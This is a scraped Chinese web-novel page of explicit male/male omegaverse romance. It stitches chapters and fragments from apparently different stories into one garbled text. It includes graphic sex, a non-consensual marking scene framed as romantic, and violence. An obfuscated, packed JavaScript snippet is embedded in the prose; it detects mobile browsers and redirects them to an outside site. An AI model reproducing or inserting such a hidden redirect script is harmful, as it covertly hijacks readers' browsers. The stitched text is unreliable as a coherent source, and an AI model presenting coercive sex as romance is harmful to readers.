这是实话,他手机里现在还存着路鹿发朋友圈的那三张照片呢,隔三差五就要回味一下。 路鹿把他抱到门口的柜子平面上,又蹲下身。 谢铮感受着路鹿温暖的口腔,被刺激得身体都在发抖:“……小鹿,小鹿,乖小鹿……” 但等路鹿马上要进来的时候,谢铮突然又开始觉得不舒服。 他停住所有动作,捂着小腹紧皱着眉,试图把那股奇怪的感觉压下去。 路鹿很敏锐地注意到谢铮的变化。他伸手,手掌叠在谢铮捂着小腹的手背上:“……怎么了?” 谢铮吐出一口气:“胃,最近有点不舒服。” 那股诡异的不适感很快褪去,谢铮本来还想继续,路鹿却怎么都不肯同意。 “叔叔不舒服就先休息吧。” 路鹿忍得声音都有点抖,带着情欲味道很重的气音:“我自己来。” 谢铮:“…………” 他真服了,他之前怎么不知道路鹿还是个大犟种? 没见到自助餐在眼前摆着还非得买盒饭吃的。 他使坏地用膝盖顶路鹿一下:“你真不想做?” 路鹿沉默。 他当然想,想得不得了,这两个月来每天他都想到谢铮,每天都会看那张谢铮用他手机拍的很不正经的自拍。 不光想做,他还想再标记一次谢铮,想看他因为自己爽得站都站不稳,单膝跪倒在快餐店的洗手间里,满脸潮红,裤子都湿一大片。 - 路鹿微博 [发布于六月五日] @Deer:还不如不发消息来,发了就一直想看手机TT 22.第 22 章 第22章 到最后两人还是没做成,路鹿防谢铮和防狼似的,谢铮看他捂胸的样子,觉得自己好像在逼良为娼,硬是萎了。 谢铮这套公寓有不少房间,但平时也没人会来就没收拾,索性还是像之前住酒店一样,两人睡在同一张大床上。 谢铮一直不太喜欢身体接触,但路鹿睡姿很乖,也不会打呼噜发出噪音,所以并不抵触和路鹿一起睡。 他的公寓装修是他自己定的方案,几个助理轮番上阵监督,最终呈现出的效果奢华无比。 路鹿刚才没来得及看,这会儿简单去转了一圈,表情的赞叹不加掩饰。 “谢叔叔,”路鹿说:“你好厉害啊。” 他已经洗过了澡,靠在床头回头消息。听到路鹿说话,抬头看了男生一眼。 仔细想来,谢铮已经很久都没听到过这么淳朴且直白的夸赞,这么一听,竟然觉得心情不错,低低笑了两声。 路鹿洗澡的时候,谢铮已经酝酿好了睡意,四仰八叉地摊着手脚睡过去。 轻微的水声不知道什么时候停下来,路鹿从浴室出来后把明亮的大灯关了,擦着头发蹲在床边蹲下,帮谢铮盖了下被子。 盖好了被子,路鹿的手却没拿开,犹豫了一下,掌心覆盖在谢铮紧实的小腹上,揉了两下。 谢铮从睡梦中醒来,啧一声拍掉他的手:“不做就别动手动脚的。” 路鹿笑起来,他揉着谢铮的腹部问他:“叔叔怎么还胃疼了,是不是总忘记吃饭?” “我操……”谢铮骂人:“大半夜的你要么和我做要么乖乖躺上来睡觉,能不能别废话了?” 路鹿就不说话了。 他依旧蹲在床边,看着谢铮邪气英俊的面庞,胸腔中徘徊着一种介于很满足和很空虚之间的情绪。 你想我吗? 我想你了。 路鹿低头,用嘴唇碰了碰谢铮的薄唇,终于关了灯爬上床。 再醒来的时候,路鹿倒是觉得这会儿应该是六七点钟了,但房间里面还很昏暗,有雨点打在玻璃上的声音。 他简单洗漱了一下,几乎就在他重新回到卧室的同时同时,谢铮也醒了。 这一觉谢铮睡得很满足,可能是被路鹿的柚子味儿勾的,一直在做那种梦。 他伸手,用没睡醒的声音叫路鹿:“过来。” 路鹿还以为谢铮是要帮忙拿衣服。 他来到床前弯着腰找,谢铮却抬起手,略显粗糙的拇指按在路鹿眉角上,一点点抚摸年轻alpha细致的皮肤。 为了方便谢铮,路鹿侧了侧头,把脸颊贴在谢铮手掌手:“外面下雨了。” 谢铮手指下移,拇指又按在了路鹿的嘴角。 路鹿问:“早餐想吃什么?不然我来做?……不过我觉得叔叔你家可能不会有什么食物……” 路鹿说话的时候,会把谢铮的指尖含过去一点。谢铮感觉到自己的拇指变得湿润。 谢铮没回答,懒洋洋地张开嘴巴,朝路鹿伸出舌尖。 路鹿一愣,像是有点惊讶谢铮连索吻都这样理直气壮。 他凑上去吧嗒在谢铮嘴巴上亲了一口,刚要后退,谢铮的手却用力按住他后脑,加深了这个吻。 两人都是刚睡醒,体力还没复苏,混杂着雨声的空气更是让人变得懒洋洋的,连带着动作都温吞了起来。 谢铮身上搭着一张床单,跪趴在阳台上,路鹿从后面拥着他,费了些力气进来,但之后所有的动作都很轻缓。 谢铮闷哼两声,竟然觉得这样慢吞吞的也挺有意思。 他喘了口气,问路鹿:“……宝贝儿,你找到工作了吗?” “……还没有。”路鹿的声音听起来比平时低了一些,多了点鼻音。他一边缓慢动作,一边答:“昨天看的那家其实我觉得就可以了,我同学觉得领班不靠谱,还想再看看别的。” “你们一起找工作?缺钱?” 路鹿的手轻轻抚覆盖在谢铮小腹上,掌心能很清晰地感觉到肌肉的鼓动,他想了想,答:“他们更多是为了好玩吧。” “你呢?因为想赚钱?” 路鹿低头亲亲谢铮肩膀上的墨色纹身,“嗯”了声。 “你们——呃——操……” 谢铮突然缩紧小腹弓起腰,等那一波酥麻过去后,才继续说:“……呼,你们一共几个人?来我公司干一两个月得了。” 路鹿动作停顿了一下,突然很孩子气地把脸凑到谢铮脸旁边,很雀跃的语气:“真的呀?” “我操……你能不能别突然乱动?”谢铮往前踉跄了一下,额头几乎撞在玻璃窗上,他甚至因此看到了楼下步伐匆匆的行人。 路鹿诚恳地道歉:“对不起对不起。”又问:“真的呀,谢叔叔?” “真的啊。我那儿正缺人呢。” 这是新兴产业的弊端之一:厉害一点的都想带自己的团队,不甘心被人压一头;没经验的又不知道怎么入行,要么进来几天就被吓跑了;手底下的几个项目组天天哭嚎人手不够,刚好缺一点听话又不知道社会险恶的清澈实习生。 路鹿果然很清澈地欣喜了起来:“专业不对也没关系吗?那我问问他们。” “到时候你就跟着我。做我的贴身小秘书……知道贴身秘书什么意思吗?”谢铮逗小孩:“老板想亲嘴了你就得把舌头喂过来,老板有需要了你就得脱裤子……” 谢铮本来是说着玩,但脑海里却不由自主地幻想起了路鹿被自己使唤的样子,他气息猛地加重了些,连带着腰都跟着摇晃了几下。 他深呼吸着,将脸贴在冰凉的窗户上降温,按在窗台上的手指因为用力都泛起了白色,腰却往下陷着。 雨光中结实的身体显得很诱人,也很乖。 路鹿呼吸变得沉重了些,他突然加大了力气,换来谢铮低声的咒骂:“你他妈……” 路鹿轻轻在谢铮肩膀上亲吻了一下。 你想我吗? 我想你了。 你喜欢我吗? …… 去公司的路上路鹿把谢铮的话转述给了和他一起来的同学。 等下了车,几个同学就已经等在楼底下了。 和路鹿一起来宸安的一共有三个人,其中一个崔松柏谢铮有点印象,是路鹿的舍友。另外还有一个b一个o,性格看起来都不错,开朗老实。 几个小孩都挺兴奋的,笨拙又夸张地对谢铮表示了感谢。 谢铮似笑非笑:“不用。” 出来打工哪有不恨老板的,也不知道等暑假结束的时候这几个小孩还会不会这么感激他。 楼里的14和15层都是谢铮的地方,上电梯的时候崔松柏用手肘捅捅路鹿:“你小子,可以呀,你小子!厉害呀!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553311|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 财务给几个小孩做了个登记,打包送到了项目里,路鹿则直接来了谢铮办公室,由助理带着帮谢铮处理一些日常琐事。 一整天下来,谢铮连轴转开了几个会,小发了两次脾气,还约了合作方见了一面。 谢铮是早就已经习惯了高压工作,路鹿倒也能跟得上,传消息处理邮件记备忘录,比起谢铮早就用顺手的助理也差不到哪里去。 晚餐的时候终于闲下来了,谢铮按着太阳穴闭目养神了几分钟,一睁眼看到路鹿在侧面坐着,翘着眼睛笑眯眯地看着自己。 “怎么了?” 路鹿满脸的好心情:“谢叔叔你工作起来很帅啊。” 谢铮嗤了一声:“你老公一直都很帅。” 路鹿脸上的笑再扩大了一点。 谢铮工作时候的状态和日常完全不一样,很帅气很威风,员工们都很怕谢铮,路鹿不怕,反而开心。 谢铮有点受不了路鹿这样又乖又俏皮的笑,手指朝他勾勾,又点点自己的嘴唇。 路鹿知道谢铮的意思——“老板想亲嘴了你就得把舌头喂过来。” 他朝他老板走,双手撑在老板的办公椅两侧弯腰去亲老板。 老板有力的手按着他的后脑,却突然扯着他的衣领把他拉开了一段距离。 路鹿一愣,再看谢铮,正微微皱着眉。 “又胃疼了?” 谢铮微不可见地点头。 路鹿伸手帮谢铮转圈揉了几下:“是饿了吧?我刚刚用微波炉热了点吃的,要不要先垫两口?” 谢铮没立刻回答,就这么沉默了大概半分钟后,他的眉头放松了下来,面色也好看了一点,路鹿猜测应该是疼劲儿过去了。 路鹿说:“去医院检查了吗?要不要去看一下?” 说是胃疼,倒更像是有什么东西把自己的内脏拧在一起,不算疼,但也不好受。每次的时间都很短,也不至于到影响生活的程度。也正因此,谢铮懒得专门去一趟医院,只等着过两天体检的时候顺便查一下。 谢铮摇摇头,还没说话,倒扣在桌面上的手机响起来。 谢铮拿起来,看到打来电话的人:孟海瑛。 “妈。” “周末有空吗?你爸在水库钓了好多鱼。”孟女士的声音听起来兴致勃勃:“我说到时候请小里他们过来尝尝我的手艺。” 她顿了顿,又说:“还有老徐他们,妈已经和他们订好了,你到时候可得回来啊?” 谢铮听明白了,孟海瑛这是要为再为他安排一次相亲。他原本还算轻松的心情一落千丈:“…………” 他淡淡道:“到时候再看吧。” “到时候,到什么时候呢?再有几个月你都三十二了。你这样怎么让人放心得下?还是说——” 孟海瑛问:“你还喜欢a吗?谢铮?” 谢铮顿了顿,笑起来:“没有的事。” “那就好。你别忘了你当时难受成什么样。我这个当妈的看着也心疼。” “先不说了。” 挂断电话,谢铮刚舒缓下去的胃部又开始抽动起来。他下意识伸手去摸烟,看到路鹿关切的眼神看着自己。 - 谢铮日记 [十二年前] 分化成了alpha…………疼死我了 捡到一只小狗,我打算叫它米团 50-60 第 51 章 第 51 章 第51章 隔天路鹿一直在给谢铮发消息。 一会说他剪头发了不好看,一会说让谢铮一定要做好心理准备,又过了一会干脆说要不谢叔叔这几天你别来医院了。 谢铮倒是不太介意。 一般丑的他不感兴趣,丑的牛逼的他倒是一定要亲眼去看看。 下班来到医院的时候,娜塔莉的团队正在给路鹿的腺体做干细胞抽取,几乎有半个小臂长的针管顺着路鹿后颈扎进去,光看着都觉得疼。 谢铮觉得路鹿虽然最近有点奇怪。 时不时会莫名其妙的跟他发火,有时候会三更半夜出去操场跑步,整天把自己弄得很累,问他也不回答,就这么一个人闷着。 今天谢铮晚上有课,就留他一个人在宿舍,临走前他看了一眼在床上窝着的路鹿,张了张嘴想问他,但最终还是没敢问出来。 平时自己一有什么问题路鹿总是能千方百计的从自己嘴里问出来,现在轮到他有事了却是闭口不提,这让谢铮莫名有些烦躁。 下课之后他去学校附近买了份宵夜,打算回去好好问问他。 一进宿舍,谢铮率先就闻到了一股很浓烈的信息素,龙舌兰强烈霸道的味道充斥着整个宿舍。 谢铮眼眉微皱,抬手打开了宿舍的窗户。 这人是怎么回事?竟然敢在宿舍释放这么大量的信息素,不考虑一下他的感受? 床上的被子塌了一块,说明他不在床上,倒是卫生间那里传来淅淅沥沥的水声。 谢铮走过去敲了敲卫生间的门,不悦道:“路鹿,你搞什么鬼,你看看宿舍里都成什么样子了。” 里面的人似乎是听到了他的话,里面的水声立马就停了。谢铮等了一会,前面的门终于打开了。 开门的一瞬间,比宿舍里更浓烈的信息素争先恐后的窜了出来,路鹿双眼通红,浑身上下都滴着水,腰间就搭了一块浴巾,手臂被咬出了一道带血的齿痕。 是易感期!!随着他被抬上救护车,谢铮整个耳朵都是嗡嗡的,陪着他上救护车手脚都有些发软,本能的抓住座椅撑着。 谢铮抬头,看着眼前还在不停冒冷汗的路鹿,心底没来由的慌了。 一定要给老子活着,他还不想明年的今天给你烧炷香,清明节的时候还要给他扫墓,他想想都觉得尴尬。 给路阿姨他们打了电话,但是却被告知他们在地球的另一边,没有那么快赶回来,只能先请求谢铮帮忙照顾。 可就算是回来了,他们也待不了多久,很快就要飞往世界各地开会鹿合作,又是留下路鹿一个人。 谢铮突然有点庆幸,他向辅导员请了一个星期的假,也非常庆幸他来到了他家里,不然他们估计很迟才发现路鹿出了事。 他站在病房外度日如年,手机上的时间他看了一遍又一遍,依旧没有看见医生出来。 这让他非常慌。 所幸他的慌乱并没有持续多久,只听见“吱呀”一声,门打开了。 谢铮难掩激动的搭上他的肩膀,声音微哑地说:“医生,他怎么样了?” “现在他的病情已经稳定下来了,暂时不用担心。”医生摘下口罩,尽可能的想安抚下他的情绪。 “暂时?暂时不用担心是什么意思?”谢铮敏锐的捉出了他话语中的关键词。 “身为顶级Alpha,你应该知道你们自身信息素有多强吧?” 谢铮点点头,这是个家喻户晓的常识,他肯定知道,难道他的信息素也出了问题? 医生接下来的话印证了他的猜想。 “他的酒精类信息素太强烈了,而且又是长期压抑着没有得到释放,长此以往会把腺体给憋坏的。” 谢铮听的愣了愣,思绪回到上一世。 他当时听说路鹿在大学的时候经常请假,他还以为是住不惯学校,所以想回家呢。现在看来,估计是为了回家治疗。 他俩还真的是同病相怜。 “就没有别的办法了吗?”他的声音很轻,仿佛风一吹就散了。 “有的。” 一句话瞬间让谢铮的心燃起了希望。 谢铮立马就反应过来,转身想要去找抑制剂给他打一针。然而他前脚刚跨出一步,手腕猛的一紧,他被拉进一个炽热的怀抱。 谢铮有些慌乱又着急,把他的手扒拉开,却发现俩人的力量悬殊有点大,“你快放手,我去给你拿抑制剂!” 路鹿已经差不多整个人失去理智了,他只知道,他不想放开眼前这个人。 谢铮看着抱住自己的这条疯狗,和鼻尖浓烈的信息素气味,咬牙说:“别逼我揍你。” “我好难受……好热……”他炽热的嘴唇贴着他耳边喃喃道。 谢铮掐了他大腿一把,这人像是没有感觉似的,那双手还不安分的在他身上上下游走,他能够感觉到这人撩开了他的上衣,发烫的手在他胸前不停的拨撩着。 路鹿的理智已经渐渐消散了,他不停的喘息着,一只手摁住了谢铮的两只手腕,将他摁在了洗漱台上。 谢铮还是第一次见到他这副样子,也深刻的感受到两人力量的差距,他莫名有些慌了,双眼渐渐泅出了一层雾气,拼命的想要抵抗他。 他的嘴唇已经吻到了脖子那块地方,看到了贴在他脖子上的抑制贴,眼里露出不耐烦的神色,伸手就把它撕掉了。 后颈一凉,他的身体下意识的发抖,“滚……放开我!” 路鹿没有听到似的,按住他的肩膀,将他转了个身,将整个后脖子暴露在他的眼前。 路鹿把整个头埋进他的颈窝里,声音压的很低,“我已经忍了很久了,就让我标记一下……” 特么的,你怎么不去找个玩偶什么的咬一下,偏偏盯上了我,真是倒了大半辈子的霉了,谢铮在心里暗骂着。 但他很快就骂不下去了。 路鹿紧紧的摁住他,现在整个人抵在洗漱台上,可能是怕他被磕到,手还放在他额头前护着,下一刻,他咬上了谢铮娇嫩的腺体。 Alpha锋利的犬齿刺破腺体,龙舌兰强大的信息素横冲直撞的进入他的腺体里面,谢铮双眼睁大,身体痉挛似的发颤,“唔……” 好疼,前所未有的疼,他的后颈仿佛是这块肉都被咬下来了一样,钻心的疼。 他实在是忍不下去了,扭头就咬上了路鹿的手臂。 他可是卯足了劲的咬了一口,路鹿的手臂瞬间就带上了血丝,然而他只是皱了皱眉,并没有在意这点疼痛。 Alpha的信息素进入同为Alpha的腺体里面,龙舌兰和蔷薇花相互交缠在一起,剧烈的冲击之下让谢铮一时慌了神,整个身体软了下来。 路鹿将他捞进怀里,低头吻了吻他的腺体,语气危险,“你只能是我的,你身上必须沾上我的味道,宝贝乖……别想离开我。” 或许是刚刚已经把信息素发泄过了,路鹿已经没有刚刚那么疯狂。 又亲了亲谢铮满是泪痕的脸,他将谢铮整个人抱了起来,放到了自己床上,随后进去冲冷水澡了。 谢铮整个人缩在床上,后颈已经慢慢的适应了疼痛,但是还残留着一阵阵酥麻,他刚刚能够感受到路鹿那股狠劲,他根本就无法反抗。 渐渐的卫生间里的水声很快就停了,随后是脚步声越来越近,谢铮清晰的感受到床的一边塌了下去,最后一个微凉的身子凑了过来,将他紧紧抱在怀里。 因为是刚刚洗过澡,路鹿身上的燥热减轻了些,但这依旧难以抵挡易感期带来的烦躁。 他能够感受到身下路鹿的那东西抵在他身上,他想忽略都难。 但对方却没有做更过分的事,只是轻轻的捧着他的脸,发烫的唇覆了上去,轻轻的咬着他的嘴唇,一点一点的厮磨着。 在亲完之后,手就开始不安分了,他的手轻轻的抚过小腿,带来一阵阵电流流过般的酥麻感。 继续亲他的时候,手还渐渐的往上移,谢铮瞬间就慌了,立马推开他的手,声音还在不停的发颤,“你别碰我!” 谢铮这下是真的慌了,眼泪不争气的流了下来,双眼泛红正可怜兮兮的望着他。 越是这副样子,就越能激起Alpha的欲望与征服的心。但他残存的理智告诉他,他不能这么做。 现在什么保护措施都没有做,他一定会受伤的,尽管自己现在的身体难受的要死,现在也要忍着。 他知道,要是再这样下去,他恐怕会失去眼前这个人,谢铮会彻底讨厌他的。 路鹿叹了一口气,强压下心中那些不该有的念想,打电话给了家里的司机让他接自己回去。 在离开前,一遍又一遍的哄着安抚情绪谢铮才慢慢入睡,轻轻替他擦拭掉眼角的泪水,路鹿才离开。 这次,恐怕是真的很难把小祖宗给哄回来了。 “哎呀哎呀。” 路鹿另一只手很胆大包天地在谢铮头顶上摸两下,像是在给什么大型动物顺毛,笑吟吟的语气:“……谢叔叔,咱们说好了不生气的哈。” “——纹身,”路鹿继续说:“柏格森认为,‘存在非是物质的延续,而是记忆的绵延。’谢叔叔,纹身很痛吧,不要纹了。” 路鹿搂着他又絮絮叨叨地说了点话,大意还是刚才那些,让谢铮别伤心,让奶奶别伤心,宝宝们别伤心,还有,让谢铮再找一个谁。 谢铮胃里有点不舒服,他从口袋里摸了根棒棒糖出来吃,清新的柚子味道把这孕初期的干呕感觉压了下去。 谢铮咯嘣咯嘣地咬碎棒棒糖,冷笑着对路鹿比了个中指:“呵呵。去你妈了个巴子的吧,闭嘴吧。狗嘴里吐不出象牙。没他妈的一句老子爱听的。” 第 52 章 第 52 章 第52章 接下来几天的陪护是谢铮和路鹿奶奶轮流进行的。 说是陪护,其实还挺省心的。 路鹿的信息素已经什么都不剩下,也因此不会再触发免疫系统和信息素的对抗。 疼倒是不疼了,就是人很难清醒过来,一天24个小时,几乎能睡上20个小时,也吃不下去饭,全靠营养液维持。 路鹿奶奶带来的饭菜几乎全进了谢铮的肚子里。 路鹿动手术的前一天,谢铮去托育班把谢迹接了过来。 谢铮步履轻快地往巷口走,精神一集中,听力和嗅觉直线上升。 空气里弥漫着两种血腥味,一种是真的,一种是…… 耳边含糊不清的痛哼和呻|吟越来越低,像被什么扼住喉咙,挣扎不开。 雨点砸在雨伞上的声音实在太大,谢铮索性收起伞,顶着雨走过去。 也没什么可湿的了。 “操呃!救、命……” “疯疯疯……疯子!” “不敢了,再也,再也不敢了……呃——” 拐进巷子的时候谢铮心情很平静,平静里透着点自己也说不明白的期待,但透过雨看清眼前情景的时候,他没忍住低声喊了句“卧槽”。 八个人,六个半躺在地上,唯一一个站着的手里攥着那半个的头发,狠狠地撞到墙上。 “哐——” 谢铮头皮都跟着麻了一下。 半个也倒下了。 路鹿松开他,在雨里沉默地擦了擦手,雨水混着血水顺指尖淌下,白衬衫上斑斑点点的红,黑发被捋到脑后,眼神漠然,疯狂和冷静两种气质诡异地在同一个人身上和谐共处。 谢铮觉得今晚出来真是个正确到家了的决定。 路鹿出手果断的程度,接活儿不给他五百以上他都不可能做到这步,路鹿的淡然居然给他一种熟练的感觉。 听见声音,路鹿缓缓转过头,路灯在雨水冲刷下忽明忽暗,在谢铮的视角,他整个人都被猩红色的信息素缠绕,像一双双染血的手,死死按住地上七个人的喉咙,让他们想张嘴喊救命都出不来声音。 路鹿眼神晦暗不明,沉默地看着他。 谢铮摊开手,刚要说“我是不是又坏你好事了”,路鹿忽然笑了出来。 唇角微勾,眼神温柔,脸颊的血水顺着下颌线滴落,“同桌,带我去医务室吗?” 谢铮盯着他看了会儿,忽然乐了,双手抱胸倚着墙,挑眉说:“走,马上去!” 猩红彻底收敛,路鹿脸上闪过一抹疲倦,刚迈出一步,身后原本躺着的混混忽然跳了起来,从怀里掏出把刀刺向他后心。 谢铮蹙眉,下一秒,橙红色的信息素从后颈爆发,绕开路鹿狠狠砸在混混身上,事出紧急,他没控制力度,身为普通Alpha的混混两眼一翻口吐白沫,像块破布直挺挺地趴到了地上。 没四五个小时醒不过来,醒来也得躺几天。 “哇哦,好菜啊,”谢铮扳了扳脖子,看向路鹿,“怎么回事?” 路鹿无意识地攥了攥左手,看了看巷口,笑的无奈:“我说我在见义勇为,你信么?” 被害人跑得太快,没有要和他说谢谢的意思,他现在想解释都没有证人。 谢铮顺着他的目光看过去,街上除了大雨什么都没有。 路鹿现在又变成好孩子了,一言一行一瞥一笑都循规蹈矩。 “不信,”谢铮眯了眯眼睛,“你要打我么?” 好不容易看见了一回,没两分钟又这幅好孩子模样了,谢铮心情大起大落,现在全是可惜。 “打不过你啊,”路鹿看向他拿伞的手,“伞怎么收起来了。” “声音太大,本来就没两分钟,再给吓没了,”谢铮若有所指地说,“多可惜。” 路鹿看着他忍不住笑,眼角眉梢都是软的。 “笑什么?”谢铮扫了他左手一眼,“是不是没好利索呢,你这都不是沾水,你是洗了个澡,找个诊所处理一下吧。” “哪里有?”路鹿往外走。 “这边儿没有,”谢铮又看了眼地上的人,有几张脸眼熟,都不是什么好玩意儿,路鹿说他见义勇为,他是信的,路鹿说被害人丢下英雄自己跑了,他也信,人性不就这个德行,“奶茶店你还记得吗?” “喝奶茶?”路鹿问。 “嗯,”谢铮说,“那条街邻着的街,有一家小诊所,挺便宜的。” 说完两个人都没再说话,并肩往火锅店走,店关门了,但门口有挡雨的地方。 虽然他们俩也没什么挡雨的必要了,但还是一起走了过去。 靠在店门上的时候谢铮习惯性地摸兜,掏出烟盒,指尖一按陷进去个坑。 让雨浇透了,拧拧都能滴吧水。 “你等会儿打个车过去吧。”谢铮打破沉默,抽出根烟撅着玩儿。 “嗯,”路鹿说,过了会儿偏头看向他,“这么晚了出来干什么?” “来看你见义勇为,”谢铮指尖一动,烟头被弹出去,落在地上被雨点砸得稀烂,“你呢,特意出来做好事?” “我……大概吧,”路鹿笑了声,唇角弯起的弧度有些讽刺,“真是这样的话,好像也不错。” “两个可怜虫哦,”谢铮笑得有些幸灾乐祸,虽然伤敌一千自损八百,“家里的事吧?” “嗯,”路鹿没否认,被雨打湿的睫毛半垂着,眉眼间的落寞让人心尖揪紧,嘴角却依旧弯着,“莫名其妙背了个锅,算飞来横祸吧。” “什么锅?”谢铮皱了皱眉,他对这种剧情有着超越常人的敏感,“他们误会你了?” “我有个弟弟,”路鹿说,“双胞胎弟弟,在——” “双胞胎弟弟?”谢铮猛地转头,手指收紧,烟盒被捏烂,提高声音皱眉问:“他欺负你了?” 路鹿脸上闪过一抹错愕,随即用拳头掩住嘴转过头。 谢铮操蛋地从他颤抖的肩膀看出他在笑,也意识到他反应过激了,自暴自弃地扔掉烟盒,靠到门上望着天:“讲完了再笑,我好奇心得不到满足容易急眼。” “嗯……”路鹿缓了缓,但嘴角的笑意不减,“他……没欺负我,只不过有人欺负他,我爸问我是不是我干的。” “多重影分身?”谢铮乐了,“你分|身坐飞机过去揍了他一顿?你爸还看火影忍者啊。” “可能吧,”路鹿说,“或者是我花钱雇人揍的也没准。” “雇我吧,”谢铮伸出手,“五百,在哪儿埋我都想好了。” 路鹿又开始笑,瑞凤眼笑起来真是勾魂儿了,他在谢铮伸手怼人之前说:“抱歉,不是故意的……有没有人说过你说话特别有意思?” “没有,”谢铮斜了他一眼,非常装逼地说:“没人敢。” “谢谢,”路鹿深吸口气,笑着看向他,“我心情好多了,真的。” “下跪吧,这句话爹都说倦了,”谢铮伸了个懒腰,衣服黏唧唧的,小风一吹凉飕飕,“你回家?” “不回,”路鹿语气轻飘飘的,“家人都死光了。” “那,祝你愿望成真。”谢铮忍不住看他。 路鹿拧了拧湿透的衣袖,侧脸的表情沉默又温柔,那点掩饰过的无所谓让他微微皱眉。 “要不要来我家?”谢铮听见自己说。 路鹿愣了愣,半晌,点头:“好。” “走吧,”谢铮心里莫名松快了,撑开伞,“先去趟诊所。” 路鹿掌心那道刀伤长得很快,虽然被水冲了不知道多长时间,有点发白,但没大事。 大夫给重新包上了,又开了个消炎药膏,叮嘱别沾水了。 谢铮是进诊所之后才反应过来的。 冲动了。 除了周折雨还没有同学来过他家,毕竟家庭氛围过于不和谐,赶上老妈抽风还能有恐怖片大逃杀的效果。 他倒是不在意别人怎么说他,只不过这个人换成路鹿……心里不知道怎么就有了个小疙瘩。 不上不下的。 “谢谢,转账过去了,”路鹿付了钱,伸手在他眼前晃了晃,“想什么呢?” “没有,走吧。”谢铮边说边往外走。 就当是对刚才路鹿秘密的交换吧,实在不行等会儿给人关屋里再问出几句实话,达到秘密平衡…… 能想出这么傻逼的主意他也是很牛逼了。 上楼的时候谢铮说:“其实我给你准备了个惊喜——” “叔叔阿姨么?”路鹿说。 谢铮看了他一眼,“我该说你很牛逼么?” 路鹿笑了声:“能换个词么?” 谢铮竖了个大拇指:“超级牛逼。” 谢铮摸出钥匙打开门,客厅一片大亮,老妈背对着他们坐在沙发上,一身红色丝质睡衣像个半夜索命的厉鬼,听见开门声也没回头,依旧一动不动地看着没打开的电视。 谢铮拿了双自己的拖鞋递给路鹿,低声说:“惊喜么?” 路鹿笑了声,没说话。 一直到他们换完鞋路过沙发往卧室走,谢妈才突然转过头,眼眶青紫,神经病似的瞪着他:“你还知道回来,你还知道回来,你还知道回来!” 最后一句的调门太高,谢铮捂了捂耳朵,缓了会儿才指着路鹿说:“我同学,路鹿。” 不等老妈说话,他又指了指她,对路鹿说:“我妈,亲的,虽然年老色衰了,但还是有点我这张脸的影子的。” “阿姨好。”路鹿对谢妈笑了笑。 “出去!”谢妈无差别地瞪着路鹿。 “肯定要出去,”谢铮挡在路鹿前面,“他还能在咱家住一年么,你养啊。” “你交的朋友?”老妈突然说。 “朋友?”谢铮愣了愣,他刚才的介绍是‘我同学’,能跟他正儿八经算上朋友的也就周折雨了,所以老妈这话一出他有点不知道怎么接,不过长年累月的battle让他养成了条件反射,他搂过路鹿的肩膀,笑得暧昧:“对!男朋友!要不要恭喜我给我包个红包啊?” 路鹿看了他一眼,微微挑眉。 谢铮冲他飞了个吻。 老妈的脸色顿时难看了几个度,拧眉打量路鹿。 谢铮不打算再让她丢人,保持这个姿势搂着路鹿快步走到自己卧室,开门把人推了进去。 衣服湿透了,屋里温度又高,现在潮热潮热的,谢铮直奔衣柜:“你穿我睡衣吧,黑的蓝的白的绿的?” “黑的吧。” 路鹿打量这个不算小的卧室。 很简单的装修,墙上也不像这个年纪的中二少年那样贴海报,什么装饰都没有,普通的书桌衣柜双人床……以及床上桌子上柜子上摆着挂着的各种不普通的毛绒玩具。 最大的快有他这么高了,是一只棕色的短毛熊,靠在床边的椅子上,最小的能挂在手机上,是个粉色桃子,粘在衣柜最上面了……摆的非常随心所欲,或者说压根没摆,就是顺手扔那儿了。 路鹿强忍着没笑出声,这些东西和谢铮在学校那副我很低调但我依旧日天操地的气势差了十万八千里。 他这算是撞破了一中传奇的特殊爱好么…… 床上那只橘猫抱枕还挺可爱的,有点掉色了,应该是天天搂着睡觉的。 搂着橘猫睡觉的谢铮…… “给,内裤是新的,”谢铮转身,看见他的表情愣了下,随即意识到什么,把衣服扔给他,走到床边拿起橘猫抱枕非常兴奋地说:“你也喜欢橘猫?” “嗯……”路鹿没想到他能这么坦然,“你喜欢这些?” “你不喜欢?”谢铮放下橘猫,从床头捡起一只二哈颈枕,走过来递给他,“摸摸。” 路鹿伸手摸了摸,指尖触感很奇妙,软乎乎的,陷进去的时候有种很放松的感觉……他以前从来没关注过这种东西,爸妈告诉他好孩子就该喜欢学习,毛绒玩具乃身外之物……他自然也没想过喜不喜欢。 “真软。”他说。 “软吧,”谢铮暴力地捏了捏二哈的脑袋瓜,完全看不出珍惜,“小破玩意儿二百多,不软我给他店砸了。” 路鹿扑哧笑了。 “笑什么,赶紧把衣服换了,黏糊糊的不难受吗?”谢铮边说边脱掉外套,随手搭在椅子上,里面的白T恤也湿透了,被他随手掀下来,后背紧致的肌肉随着动作起伏,运动裤裤腰过于低了,腰线顺着力量感十足的腰部肌肉滑入裤边。 路鹿收回视线,脱掉染血的t恤。 刚才谢铮妈妈看见他这幅样子居然没有任何反应,是精神方面的问题么…… 家里两个浴室,有一个在主卧是神经病母子专用,另一个在外面。 谢铮现在非常迫切地想冲个澡,但路鹿是客人,看样子也挺迫切。 他看着脱掉上衣露出六块腹肌的路鹿,强忍着没深究裤子里剩下的两块,压下吹口哨的冲动,非常真诚地问:“你有什么隐疾么?” “嗯?”路鹿拎着T恤想着要放哪,闻言抬头,“比如?” 谢铮指了指他下面:“发育不——”良。 “非常良好,”路鹿微笑,“要试试么?” “那我就放心了,”谢铮拿起自己的睡衣,缺德地说:“不然我怕你看着我自卑。” 谢铮从梦中惊醒,抬头,朝观察室里看。路鹿那双浅色的眼睛正隔着不太干净的玻璃和他对视着,麻醉的劲儿应该还没过,人看起来不太聪明。 娜塔莉的学生们围着路鹿做检查,几分钟后对谢铮三人比了个ok的手势,脸上都带着轻松的笑意。 老田抓着谢铮的手臂摇晃:“哥!哥!老大!!” 